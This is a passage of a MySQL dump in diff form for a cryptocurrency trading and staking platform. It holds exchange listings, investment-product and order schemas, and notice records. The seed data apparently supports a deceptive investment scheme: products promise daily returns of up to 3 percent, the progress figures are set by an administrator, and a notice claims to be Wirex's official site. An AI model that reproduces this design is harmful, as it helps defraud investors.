'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (417, 'orca', 'Orca', 'https://www.orca.so/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (418, 'ebtcbank', 'eBTCbank', 'http://ebtcbank.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (419, 'era-ex', 'ERA Exchange', 'https://era-ex.net', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (420, 'tokenlon', 'Tokenlon', 'https://tokenlon.im/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (421, 'escodex', 'Escodex', 'https://www.escodex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (422, 'balancer', 'Balancer', 'https://balancer.fi/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (423, 'etherflyer', 'Etherflyer', 'https://www.etherflyer.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (424, 'european-central-bank', 'European Central Bank', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (425, 'dydx', 'dYdX', 'https://dydx.exchange/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (426, 'exbb-io', 'Exbb', 'https://www.exbb.io/zh-CN/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (427, 'zkswap', 'ZKSwap', 'https://zks.org', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (428, 'excambriorex', 'ExcambrioRex', 'http://www.excambiorex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (429, 'exnow', 'Exnow', 'https://www.exnow.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (430, 'exrates', 'Exrates', 'https://exrates.me/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (431, 'exx', 'Exx', 'https://www.exx.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (432, 'ezbtc', 'ezBtc', 'https://www.ezbtc.ca', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (433, 'fargobase', 'Fargobase', 'https://fargobase.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (434, 'fcoin', 'FCoin', 'https://www.fcoin.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (435, 'fcoinjp', 'FcoinJP', 'https://www.fcoinjp.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (436, 'fex-hk', 'FEX(HK)', 'https://fexpro.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (437, 'fisco', 'Fisco', 'https://fcce.jp', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (438, 'forkdelta', 'ForkDelta', 'https://forkdelta.github.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (439, 'foxbit', 'Foxbit', 'https://foxbit.com.br/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (440, 'ftx-futures', 'Ftx Futures', 'https://ftx.com', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (441, 'fubt', 'FuBT', 'https://www.fubt.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (442, 'gatehub', 'Gatehub', 'https://www.gatehub.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (443, 'gbx-digital-asset-exchange', 'GBX Digital Asset Exchange', 'https://exchange.gbx.gi/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (444, 'gdac', 'GDAC', 'https://www.gdac.co.kr/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (445, 'getbtc', 'Getbtc', 'https://getbtc.org', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (446, 'go-top', 'GoTop', 'https://www.go.top/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (447, 'graviex', 'Graviex', 'https://graviex.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (448, 'guldentrader', 'GuldenTrader', 'https://guldentrader.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (449, 'hb-top', 'HB.top', 'https://hb.top/index.html', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (450, 'hcoin', 'Hcoin', 'https://www.hcoin86.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (451, 'heat-wallet', 'Heat Wallet', 'https://heatwallet.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (452, 'hht-one', 'HashToken', 'https://hht.one/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (453, 'hib8', 'HiB8', 'https://hib8.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (454, 'hibtc', 'Hibtc', 'https://www.hibtc.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (455, 'hoo', 'Hoo', 'https://hoo.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (456, 'hotbit', 'Hotbit', 'https://www.hotbit.pro', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (457, 'hotcoin-top', 'Hotcoin', 'https://www.hotcoinex.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (458, 'hpx', 'Hpx', 'https://www.hpx.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (459, 'hubi', 'Hubi', 'https://www.hubi.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (460, 'huobikr', 'Huobi Korea', 'https://www.huobi.co.kr', 'enable', 1, 1, 0, NULL); + +-- ---------------------------- +-- Table structure for t_mine_financial +-- ---------------------------- +DROP TABLE IF EXISTS `t_mine_financial`; +CREATE TABLE `t_mine_financial` ( + `id` int(0) NOT NULL AUTO_INCREMENT, + `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '标题', + `icon` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标', + `status` tinyint(0) NULL DEFAULT NULL COMMENT '启用禁用(展示在前端)1开0关', + `days` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '天数(如 7,10,30)', + `default_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '违约利率', + `min_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '最小日利率百分比', + `max_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '最大日利率百分比', + `time_limit` int(0) NOT NULL COMMENT '每人限购次数,0表示不限', + `limit_min` decimal(20, 4) NOT NULL COMMENT '最小金额', + `limit_max` decimal(20, 4) NOT NULL COMMENT '最大金额', + `is_hot` tinyint(0) NULL DEFAULT NULL COMMENT '是否热销1是0否', + `sort` int(0) NULL DEFAULT NULL COMMENT '排序', + `create_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '更新人员', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `buy_purchase` int(0) NULL DEFAULT 0 COMMENT ' 购买次数', + `avg_rate` decimal(8, 2) NULL DEFAULT 0.00 COMMENT '日平均利率', + `coin` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种 ', + `classify` varchar(2) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '分类(0 普通 1 vip 2 增值)', + `basic_invest_amount` decimal(26, 4) NULL DEFAULT 0.0000 COMMENT '平台基础投资金额', + `total_invest_amount` decimal(26, 4) NULL DEFAULT 0.0000 COMMENT '平台总投资额', + `level` int(0) NULL DEFAULT 0 COMMENT 'VIP等级 ', + `process` decimal(8, 2) NULL DEFAULT 0.00 COMMENT '项目进度', + `remain_amount` decimal(26, 4) NULL DEFAULT 0.0000 COMMENT '剩余金额', + `remark` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '标签', + `purchased_amount` decimal(26, 4) NULL DEFAULT 0.0000 COMMENT '易购金额', + `problem` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL COMMENT '常见问题', + `prodect_introduction` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL COMMENT '产品介绍', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 6 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_mine_financial +-- ---------------------------- +INSERT INTO `t_mine_financial` VALUES (1, 'USDTSmart contract', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.091462494a8434ed68ce414b2f521d57b.jpg', 1, '15', 0.20, 2.50, 3.00, 3, 500.0000, 200000.0000, 1, 0, 'admin', '2023-07-20 13:48:18', NULL, '2023-12-08 02:51:33', 3, 0.75, 'usdt', '0', 100000.0000, 1000000000.0000, 0, 25.00, 749995493.0000, NULL, 10855.0000, '定期投资', '定期投资'); +INSERT INTO `t_mine_financial` VALUES (2, 'USDTSmart contract', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.068ab587a6e964880a4b89930bcf01ba1.jpg', 1, '30', 0.20, 1.00, 1.50, 5, 10000.0000, 500000.0000, 1, 0, 'admin', '2023-07-20 13:48:18', NULL, '2023-08-24 23:15:19', 103, 3.00, 'usdt', '0', 100000.0000, 1000000000.0000, 0, 24.00, 760000000.0000, NULL, 240000000.0000, '定期投资', '定期投资'); +INSERT INTO `t_mine_financial` VALUES (4, 'USDTSmart contract', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.08454226445c0498eab8da0f24ef063be.jpg', 1, '60', 0.20, 0.01, 0.10, 0, 50000.0000, 1000000.0000, 1, 2, 'admin', '2023-07-20 13:48:18', NULL, '2023-08-24 23:15:51', 103, 5.00, 'usdt', '0', 100000.0000, 1000000000.0000, 0, 90.00, 100000000.0000, NULL, 900000000.0000, '定期投资', '定期投资'); +INSERT INTO `t_mine_financial` VALUES (5, 'USDTSmart contract', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0d9f288487ae74ecc85df47e3df783328.jpg', 1, '120', 0.20, 0.01, 0.10, 0, 100000.0000, 2000000.0000, 1, 3, 'admin', '2023-07-20 13:48:18', NULL, '2023-08-24 23:16:37', 103, 7.00, 'usdt', '0', 1000000000.0000, 750000000.0000, 0, 75.00, 25000000.0000, NULL, 750000000.0000, '定期投资', '定期投资'); + +-- ---------------------------- +-- Table structure for t_mine_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_mine_order`; +CREATE TABLE `t_mine_order` ( + `id` int(0) NOT NULL AUTO_INCREMENT, + `adress` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '地址', + `amount` decimal(20, 4) NOT NULL COMMENT '投资金额(分)', + `days` int(0) NOT NULL COMMENT '投资期限(天)', + `status` tinyint(0) NULL DEFAULT 0 COMMENT '0 收益 1 结算', + `plan_id` bigint(0) NOT NULL COMMENT '项目id', + `plan_title` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '项目名称', + `order_no` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '订单编号', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '投资时间', + `end_time` datetime(0) NULL DEFAULT NULL COMMENT '到期时间', + `settle_time` datetime(0) NULL DEFAULT NULL COMMENT '结算时间', + `accumula_earn` decimal(20, 6) NULL DEFAULT NULL COMMENT '累计收益', + `update_time` datetime(0) NULL DEFAULT NULL, + `min_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '最小利率', + `max_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '最大利率', + `default_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '违约利率', + `type` int(0) NULL DEFAULT NULL COMMENT '0 质押挖矿 1 非质押挖矿', + `collection_order` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `user_id` bigint(0) NULL DEFAULT NULL, + `order_amount` decimal(8, 2) NULL DEFAULT NULL, + `coin` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `avg_rate` decimal(8, 2) NULL DEFAULT NULL COMMENT '收益率', + `search_value` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `create_by` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `update_by` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `admin_user_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '后台用户id', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_mine_order_day +-- ---------------------------- +DROP TABLE IF EXISTS `t_mine_order_day`; +CREATE TABLE `t_mine_order_day` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `amount` decimal(20, 4) NOT NULL COMMENT '投资金额(分)', + `odds` decimal(10, 4) NOT NULL COMMENT '当日利率', + `earn` decimal(20, 6) NULL DEFAULT NULL COMMENT '收益', + `plan_id` bigint(0) NOT NULL COMMENT '项目id', + `order_no` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '订单编号', + `create_time` datetime(0) NOT NULL COMMENT '时间', + `address` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '地址', + `type` int(0) NULL DEFAULT NULL COMMENT '0 质押挖矿 1 非质押挖矿', + `update_time` datetime(0) NULL DEFAULT NULL, + `status` int(0) NULL DEFAULT NULL COMMENT '1 待结算 2 结算', + `search_value` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `update_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `create_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_mine_user +-- ---------------------------- +DROP TABLE IF EXISTS `t_mine_user`; +CREATE TABLE `t_mine_user` ( + `user_id` bigint(0) NOT NULL COMMENT '用户id', + `id` bigint(0) NOT NULL COMMENT '挖矿产品id', + `time_limit` bigint(0) NOT NULL COMMENT '限购次数' +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_ming_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_ming_order`; +CREATE TABLE `t_ming_order` ( + `id` int(0) NOT NULL AUTO_INCREMENT, + `amount` decimal(20, 4) NOT NULL COMMENT '投资金额(分)', + `days` int(0) NOT NULL COMMENT '投资期限(天)', + `status` tinyint(0) NULL DEFAULT 0 COMMENT '0 收益 1 结算', + `plan_id` bigint(0) NOT NULL COMMENT '项目id', + `plan_title` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '项目名称', + `order_no` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '订单编号', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '投资时间', + `end_time` datetime(0) NULL DEFAULT NULL COMMENT '到期时间', + `settle_time` datetime(0) NULL DEFAULT NULL COMMENT '结算时间', + `accumula_earn` decimal(20, 4) NULL DEFAULT NULL COMMENT '累计收益', + `update_time` datetime(0) NULL DEFAULT NULL, + `min_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '最小利率', + `max_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '最大利率', + `admin_user_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '后台用户id', + `collection_order` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `user_id` bigint(0) NULL DEFAULT NULL, + `order_amount` decimal(20, 4) NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE, + INDEX `admin_user_id`(`admin_user_ids`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 352 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_ming_order +-- ---------------------------- +INSERT INTO `t_ming_order` VALUES (351, 500.0000, 7, 2, 1, 'USDT', 'E120718525483', '2023-12-08 02:52:51', '2023-12-15 02:52:51', NULL, 0.0000, '2023-12-08 02:53:50', 0.20, 0.50, NULL, NULL, 315, NULL); + +-- ---------------------------- +-- Table structure for t_ming_product +-- ---------------------------- +DROP TABLE IF EXISTS `t_ming_product`; +CREATE TABLE `t_ming_product` ( + `id` int(0) NOT NULL AUTO_INCREMENT, + `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '标题', + `icon` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标', + `status` tinyint(0) NULL DEFAULT NULL COMMENT '启用禁用(展示在前端)1开0关', + `days` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '天数(如 7,10,30)', + `default_odds` decimal(8, 2) NULL DEFAULT NULL COMMENT '违约利率', + `min_odds` decimal(8, 3) NULL DEFAULT NULL COMMENT '最小日利率百分比', + `max_odds` decimal(8, 3) NULL DEFAULT NULL COMMENT '最大日利率百分比', + `time_limit` int(0) NOT NULL COMMENT '每人限购次数,0表示不限', + `limit_min` decimal(20, 4) NOT NULL COMMENT '最小金额', + `limit_max` decimal(20, 4) NOT NULL COMMENT '最大金额', + `sort` int(0) NULL DEFAULT NULL COMMENT '排序', + `create_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '更新人员', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `buy_purchase` int(0) NULL DEFAULT 0 COMMENT ' 购买次数', + `coin` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种 ', + `remark` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '标签', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 16 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_ming_product +-- ---------------------------- +INSERT INTO `t_ming_product` VALUES (1, 'USDT', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.06dec2653fd45456e8e3dcd9ecb1f7b8a.jpg', 0, '7', 0.10, 0.200, 0.500, 10, 10.0000, 500.0000, 1, NULL, '2023-08-19 18:42:06', NULL, '2023-08-24 23:55:46', 0, NULL, NULL); +INSERT INTO `t_ming_product` VALUES (13, 'USDT', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.059986156ff7b45ca897f393828766770.jpg', 0, '15', 0.10, 0.400, 0.750, 100, 500.0000, 2000.0000, 2, NULL, '2023-08-22 10:24:44', NULL, '2023-08-24 23:56:26', 0, NULL, NULL); +INSERT INTO `t_ming_product` VALUES (14, 'USDT', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.03366bda187434cb2baee093e89c6e17d.jpg', 0, '30', 0.10, 0.600, 1.000, 100, 1000.0000, 50000.0000, 3, NULL, '2023-08-22 10:25:37', NULL, '2023-08-24 23:58:12', 0, NULL, NULL); +INSERT INTO `t_ming_product` VALUES (15, 'USDT', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.05cded645be384353b840582c587b21e8.jpg', 0, '60', 0.10, 1.000, 1.500, 100, 1000.0000, 100000.0000, 4, NULL, '2023-08-22 16:46:29', NULL, '2023-08-24 23:58:44', 0, NULL, NULL); + +-- ---------------------------- +-- Table structure for t_ming_product_user +-- ---------------------------- +DROP TABLE IF EXISTS `t_ming_product_user`; +CREATE TABLE `t_ming_product_user` ( + `id` int(0) NOT NULL AUTO_INCREMENT, + `product_id` int(0) NULL DEFAULT NULL COMMENT '产品id', + `app_user_id` bigint(0) NULL DEFAULT NULL COMMENT '玩家用户id', + `pledge_num` int(0) NULL DEFAULT NULL COMMENT '限购次数', + `create_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '更新人员', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种 ', + `remark` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '标签', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '用户购买质押限制表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_notice +-- ---------------------------- +DROP TABLE IF EXISTS `t_notice`; +CREATE TABLE `t_notice` ( + `notice_id` int(0) NOT NULL AUTO_INCREMENT COMMENT '公告ID', + `notice_title` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '标题', + `notice_type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '公告类型 1=公告信息 2=活动公告 3=首页滚动公告', + `model_type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT '1' COMMENT '模块类型 1=公告信息 2=活动公告 3=首页滚动公告 \r\n1={1=链接弹窗 2=图文弹窗}, \r\n2={1=首页轮播活动 2=Defi挖矿活动图},\r\n3={1=首页滚动公告}\r\n注:没有二级的默认给1\r\n二级联动', + `notice_content` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '内容', + `comments_num` int(0) NULL DEFAULT 0 COMMENT '评论数', + `cover` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '图片', + `view_num` int(0) NULL DEFAULT 0 COMMENT '浏览数', + `expire_time` datetime(0) NULL DEFAULT NULL COMMENT '公告截止时间', + `img_url` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '图片地址', + `chained_url` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '链接地址', + `detail_url` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '详情页', + `language_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT 'zh:1,cht:2,en:3,pt:4,sa:5,ko:6,ja:7,es:8,th:9,ms:10,id:11,fr:12,ru:13', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT '0' COMMENT '公告状态(0正常 1关闭)', + `source` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '展示端1=pc 2=h5', + `sort` int(0) NULL DEFAULT NULL COMMENT '排序', + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '备注', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '修改人', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + PRIMARY KEY (`notice_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 83 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin COMMENT = '公告表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_notice +-- ---------------------------- +INSERT INTO `t_notice` VALUES (56, '111', '2', '3', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0cd8d88c61efc46bd92726e291e3c3ca9.png', NULL, NULL, 'zh', '0', NULL, NULL, NULL, NULL, '2023-08-08 10:32:16', NULL, '2023-08-22 14:03:23'); +INSERT INTO `t_notice` VALUES (58, 'test', '2', '1', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.012d75e0c18ec4602a3625d0d3222180a.png', NULL, NULL, 'zh', '0', NULL, NULL, NULL, NULL, '2023-08-08 11:09:56', NULL, '2023-08-11 13:43:27'); +INSERT INTO `t_notice` VALUES (61, '首页公告', '3', '1', '开始你的数字货币之旅。如需要模拟金额,请联系客服。', 0, NULL, 0, NULL, NULL, NULL, NULL, 'zh', '0', NULL, NULL, NULL, NULL, '2023-08-08 11:10:59', NULL, '2023-08-22 17:01:55'); +INSERT INTO `t_notice` VALUES (62, '平台公告', '1', '2', '

    欢迎访问Wirex官网

    ', 0, NULL, 0, '2024-08-08 08:00:00', NULL, NULL, NULL, '1', '0', NULL, NULL, NULL, NULL, '2023-08-09 01:39:13', NULL, '2023-12-08 01:31:09'); +INSERT INTO `t_notice` VALUES (66, '英文', '2', '1', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.07d58013724824722bd39198e1834bdcc.png', NULL, NULL, 'en', '0', NULL, NULL, NULL, NULL, '2023-08-21 19:37:59', NULL, NULL); +INSERT INTO `t_notice` VALUES (67, '日语', '2', '1', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.031d6e22404234a9bbeb5dd1b6e76777a.png', NULL, NULL, 'ja', '0', NULL, NULL, NULL, NULL, '2023-08-21 19:41:58', NULL, NULL); +INSERT INTO `t_notice` VALUES (68, '韩语', '2', '1', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.098c1b92ff20d45e1aa9d7730d2b80e94.png', NULL, NULL, 'ko', '0', NULL, NULL, NULL, NULL, '2023-08-21 19:42:15', NULL, NULL); +INSERT INTO `t_notice` VALUES (69, '泰语', '2', '1', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.06c480decb33c4a2aa86af293048d7e16.png', NULL, NULL, 'th', '0', NULL, NULL, NULL, NULL, '2023-08-21 19:42:45', NULL, NULL); +INSERT INTO `t_notice` VALUES (70, '越南语', '2', '1', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0aed7ab54d1eb47e48a20cd5030a75268.png', NULL, NULL, 'vi', '0', NULL, NULL, NULL, NULL, '2023-08-21 19:43:08', NULL, NULL); +INSERT INTO `t_notice` VALUES (71, '中文繁体', '2', '1', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0fa25f9528e064c3cbac0ca6e856d12ac.png', NULL, NULL, 'tw', '0', NULL, NULL, NULL, NULL, '2023-08-21 19:44:51', NULL, NULL); +INSERT INTO `t_notice` VALUES (72, '中繁', '2', '3', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.016cc55026f3d4679a0c8959cb817bd1b.png', NULL, NULL, 'tw', '0', NULL, NULL, NULL, NULL, 